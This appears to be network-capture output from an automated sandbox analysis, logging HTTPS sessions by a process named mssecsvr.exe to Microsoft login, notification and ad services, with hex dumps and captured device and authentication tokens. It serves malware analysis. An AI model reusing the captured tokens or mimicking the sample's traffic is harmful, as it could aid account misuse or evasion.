2022-07-20 17:30:49 UTC	249	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 62 65 38 61 62 39 66 64 34 32 66 37 34 32 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: ebe8ab9fd42f7423<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:30:49 UTC	250	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 62 65 38 61 62 39 66 64 34 32 66 37 34 32 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: ebe8ab9fd42f7423
2022-07-20 17:30:49 UTC	250	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:30:49 UTC	250	IN	Data Raw: 4d 53 2d 43 56 3a 20 6a 39 52 70 75 51 6f 62 78 6b 53 6a 58 68 48 4f 6d 64 68 69 70 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: j9RpuQobxkSjXhHOmdhipA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	50078	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:36 UTC	57	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2022-07-20 17:30:36 UTC	57	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:30:36 UTC	60	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:29:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 64ace6b6-2881-43af-9a05-43cfbefeea37 PPServer: PPV: 30 H: BL02EPF00006762 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:30:35 GMT Connection: close Content-Length: 11296
2022-07-20 17:30:36 UTC	61	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	50394	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:53 UTC	250	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 31 38 64 37 38 65 35 36 66 35 64 34 37 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 4e18d78e56f5d47d
2022-07-20 17:30:53 UTC	250	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:30:53 UTC	250	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 31 38 64 37 38 65 35 36 66 35 64 34 37 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 4e18d78e56f5d47d<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:30:53 UTC	251	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 65 31 38 64 37 38 65 35 36 66 35 64 34 37 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 4e18d78e56f5d47d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:30:53 UTC	251	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:30:53 UTC	251	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 6c 37 4c 59 7a 67 74 54 55 47 43 38 2f 43 31 59 68 79 6b 61 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0l7LYzgtTUGC8/C1Yhykag.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	50415	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:54 UTC	251	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023053Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=3e2acdf460a64ee8b2799e3dde238f3d&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-338389&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p= Cache-Control: no-cache MS-CV: HaaqiicIfUqLEWgm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:30:54 UTC	253	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3075 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: nc37RN/LHTypvVlJFHiUJNacyCJknREXlTwH8v9xjU9j45BTD5PMgW5OWpFUE0AFLzXa5+EUwRI5hI2ske6y38klfYDz8MWuP0zAvdOUS4FiFQldMedHKQeq4/fGu2qs8PWUhGl/81h5B4nUmPHn/dIouUxCcBsUEfPWtaXwUrSrKlbtLdGToWQLx0DWaKV26dWRpla3sVX66Dvd28M+EHI3RTZtQy8hTZrhFbPBLoCrbIDEe83jX/Muc9f9tQA2ycDDSIoZhaT0mxDzVgIRQyYYIaUfjP8REyOpWo0iVz56HyAc1Pbu8kzH1zgZM8ri6N0Cbejj4s7jKlVR+dwiYA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:30:54 GMT Connection: close
2022-07-20 17:30:54 UTC	254	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	50441	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:56 UTC	257	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T023054Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=543581fc392a429399179fc924cf7231&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611745&metered=false&nettype=ethernet&npid=sc-280815&oemName=febefl%2C%20Inc.&oemid=febefl%2C%20Inc.&ossku=Professional&smBiosDm=febefl7%2C1&tl=2&tsu=1611745&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAX53Shot7GCa+sDJIfUzGa6x0fLGjdvS3Y29XWT6WEue7E2WN8hZ8KeczSoZbqfNsCoMhIlZ2iQ+MnysyzhMHoGfAJidy1ZnG4v74of4EO0LzDr9jjckEK1goIlqqofeQfIhsmgo706/Ain6QMuFqIgnhC1sVoX9wNDdU0eQc739b9iOiD4cdRD5h5olGrAeSuGKddqF7Wvtlcvw3uG3UV/uqW4q/014g01LJXusmPnzGvFcPhvg7iqV7V689H24URU749a9JGWF5ypSU2ckuqA5YPFkVbILdx/NPcvDEOwsf/cu40fO6zVltXkm7ESxuUXeDQRzhckg18OMNIcX4bsDZgAACJwvwvVDTpvDqAFbymVTC/9NfRWUcbutu6r8SRLGw6nRnIMBOFW9XDa9Lu/VYRv3eUFElUhlHZQ9Ow8WZIl6TqEc3Wl3nCD1g/psV3TZfPfEN4UlGA89xcGsMYo6vUbKJLzWwRKITsA+zSR55jhKzFSQk7ULfgX1eKsBQDxdaNzfQdIJ9WOc2lqSlqHHM6aBZmd4kly1BbWM5h4NOMvRBPKmUZaT8WdKNarfyB2GduZq0FbKoeGV8OnDe/B46j4foPdzlRm9p24eTV20fJM6OUb03sr2ZRRWX2+UUNgK41isZ+g6ALUtcTH77Hqh2MiHM2etu5/FLzOqMO5AsXu9YzNoK4eXT7wtn043B9SZm4ISVSIXAQEv3v7DbRfUbs9W00AvR6VyHOgEVCVaUCeANHtgTnkK07KHrsJG12q7jPofsc062AZU65Czq5wnicxJbJUDMvDB2GdEigYPw0c7OLKkArqodE3I6nreLmBpgqZJSxd8DZLOxciIH8zprHtFEALUjMzNOHSmNm9KDFfMAInmmKoGKbWrFJL/WJx65kHpuKmqA0SFTd/B4Cu2vUXT7w7r1gE=&p= Cache-Control: no-cache MS-CV: HaaqiicIfUqLEWgm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:30:56 UTC	260	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3075 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: OTYvXYZoGg98afqT0bIDAFI5PeBoZSfz5dv9qXA5ekWh0m4wGszyCwgVc/S0CsWT9aX6BtJ4o3SkHPUnH658KmVy+gy5xyrixiP0DB+Rf2iOAKLeOiw3qCOHWpgdaYDgivrt/LWbzOKTutV5Q0kO8qj3Sv5D1bOhpvIpbDGiNZemNkAbQD2H9X4uB2xsMHzWjXk1Jf1N9yXexO72N/X2+rRvGYAL4VY9GDGZX3ctqpsCpi60AGY61dGe2obi3f5S/wBe87Gu/DQrHsod4I2+xlCB2ZJoUUJgysvZBUo3OrdQmobV2duHSFVVb4JLwvAjoTjRkoqdyYOdSTsAFMgzYQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:30:56 GMT Connection: close
2022-07-20 17:30:56 UTC	260	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	50511	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:02 UTC	263	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 33 38 63 63 33 34 33 37 30 61 34 61 64 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 9238cc34370a4ad0
2022-07-20 17:31:02 UTC	263	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:31:02 UTC	264	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 33 38 63 63 33 34 33 37 30 61 34 61 64 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 9238cc34370a4ad0<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:31:02 UTC	265	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 32 33 38 63 63 33 34 33 37 30 61 34 61 64 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 9238cc34370a4ad0
2022-07-20 17:31:02 UTC	265	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
